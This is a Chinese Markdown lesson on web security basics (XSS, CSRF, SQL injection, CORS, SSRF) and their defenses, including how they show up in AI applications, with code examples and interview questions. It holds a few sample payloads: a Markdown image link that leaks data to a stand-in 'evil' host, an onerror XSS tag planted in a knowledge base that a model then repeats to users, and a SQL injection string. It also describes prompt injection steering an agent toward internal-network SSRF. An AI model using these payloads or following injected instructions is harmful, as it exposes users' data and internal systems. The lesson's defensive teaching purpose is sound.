Files
zhuangang/topics/cs/web-security/01-xss-csrf-sqli-cors-ssrf.md
T

82 lines
5.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
---
id: cs.web-security.common-attacks
title: Web 安全基础:XSS、CSRF、SQL 注入、CORS、SSRF 的原理、防御和在 AI 应用中的新形态
type: lesson
domain: cs
stack: [web-security]
tags: [XSS, CSRF, SQL 注入, CORS, SSRF, CSP, SameSite, 参数化查询, OWASP]
level: basic
prerequisites: [cs.network-os.http-tcp]
est_hours: 3
related: [cs.web-security.scenario.ai-app-security, ai.prompt-engineering.scenario.injection-defense, cs.web-security.interview]
week: [7, 14, 16]
order: 1
---
# Web 安全基础:XSS、CSRF、SQL 注入、CORS、SSRF 的原理、防御和在 AI 应用中的新形态
> BOSS直聘 2026-10-23 的调研中有岗位提到 Web 安全基础。AI 应用让老问题出现了新入口:模型输出可能包含恶意 HTML(XSS),Agent 的抓取工具可能被诱导访问内网(SSRF),用户输入可能拼接进模型生成的 SQL。参考:OWASP Top 10(https://owasp.org/www-project-top-ten/)。
## 解释说明
| 攻击 | 原理 | 防御 |
| --- | --- | --- |
| **XSS**(跨站脚本) | 攻击者的脚本被当作页面的一部分执行,可以窃取数据、冒充用户操作 | 输出时按上下文转义(框架默认转义,慎用 `v-html` / `dangerouslySetInnerHTML`);富文本用白名单清洗;CSP;Cookie 设 HttpOnly |
| **CSRF**(跨站请求伪造) | 用户已登录,恶意网站让浏览器带着 Cookie 向目标站点发请求 | Cookie `SameSite=Lax/Strict`;CSRF Token(同步令牌或双重提交);校验 Origin;改变状态的操作不用 GET |
| **SQL 注入** | 用户输入被拼接成 SQL 执行 | **参数化查询**;ORM;最小权限的数据库账号;不能参数化的部分(表名、排序字段)用白名单 |
| **CORS 配置错误** | CORS 是浏览器放宽同源策略的机制;配置成“任意来源 + 允许凭证”或反射请求的 Origin,等于允许任何网站读取用户数据 | 来源白名单;带凭证时不能用 `*`;只开放需要的方法和请求头 |
| **SSRF**(服务端请求伪造) | 诱导服务器访问内网地址(数据库、管理接口、云元数据 `169.254.169.254`) | 协议白名单;解析域名后检查所有 IP 是否为公网;禁止或逐跳校验重定向;网络层出口限制 |
**注意**:CORS 不是安全防护,而是对同源策略的“放宽”;服务端仍然必须做鉴权。CORS 也不能防 CSRF(简单请求照样会发出,只是读不到响应)。
### AI 应用中的新形态
- 模型输出渲染成 HTML / Markdown 时的 XSS:Markdown 中的原始 HTML、`javascript:` 链接、图片链接外带数据(`![](https://evil/?q=敏感信息)`)。
- 提示词注入诱导 Agent 调用工具:抓取内网地址(SSRF)、执行越权操作。见[提示词注入防护](../../ai/prompt-engineering/scenarios/injection-defense.md)。
- Text-to-SQL:模型生成的 SQL 要用只读账号、白名单表、限制行数,并在执行前做语法分析。
## 案例
AI 客服页面把模型回答作为 Markdown 渲染。有人在知识库文档中埋入 `<img src=x onerror=...>`,模型在回答中原样引用,所有看到回答的用户都执行了这段脚本。修复:渲染前清洗(禁用原始 HTML,过滤危险协议的链接)、CSP 禁止内联脚本、会话 Cookie 设 HttpOnly。
## 代码示例
[examples/secure-api](examples/secure-api/)(FastAPI + sqlite3,13 个测试通过;每类问题都先证明“错误写法可被利用”,再证明“正确写法能防住”):
```python
# SQL 注入:拼接 vs 参数化
db.execute(f"... WHERE tenant = '{tenant}' AND id LIKE '%{keyword}%'") # keyword = "x' OR 1=1 --" 读到其他租户
db.execute("... WHERE tenant = ? AND id LIKE ?", (tenant, f"%{keyword}%")) # 安全
# SSRF:解析后检查所有 IP
for info in socket.getaddrinfo(host, port):
if not ipaddress.ip_address(info[4][0]).is_global:
raise ValueError("禁止访问内网地址")
```
CORS 白名单 + CSRF 双重提交:
```python
app.add_middleware(CORSMiddleware, allow_origins=["https://app.example.com"], allow_credentials=True, ...)
if not secrets.compare_digest(csrf_cookie, x_csrf_token): # 跨站页面读不到 csrf_token Cookie,无法设置请求头
raise HTTPException(403, "CSRF 校验失败")
```
## 易错点
- 只在前端校验输入。
- 用黑名单过滤 XSS(`replace("<script>", "")`),总能被绕过。
- 用 ORM 却在原生查询处拼接字符串。
- `allow_origins=["*"]` 加 `allow_credentials=True`,或者把请求的 Origin 原样反射回去。
- SSRF 只校验域名字符串,不校验解析后的 IP;或者允许跟随重定向。
- 把 JWT 存在 localStorage 中,一旦有 XSS 就被窃取(是否这样做要权衡,至少要有 CSP)。
## 面试常问
- XSS 有哪几类?怎么防御?
- CSRF 的原理?SameSite 能完全防住吗?
- 为什么参数化查询能防 SQL 注入?
- CORS 是什么?它能防 CSRF 吗?
- 你的 Agent 有抓取网页的工具,怎么防止 SSRF?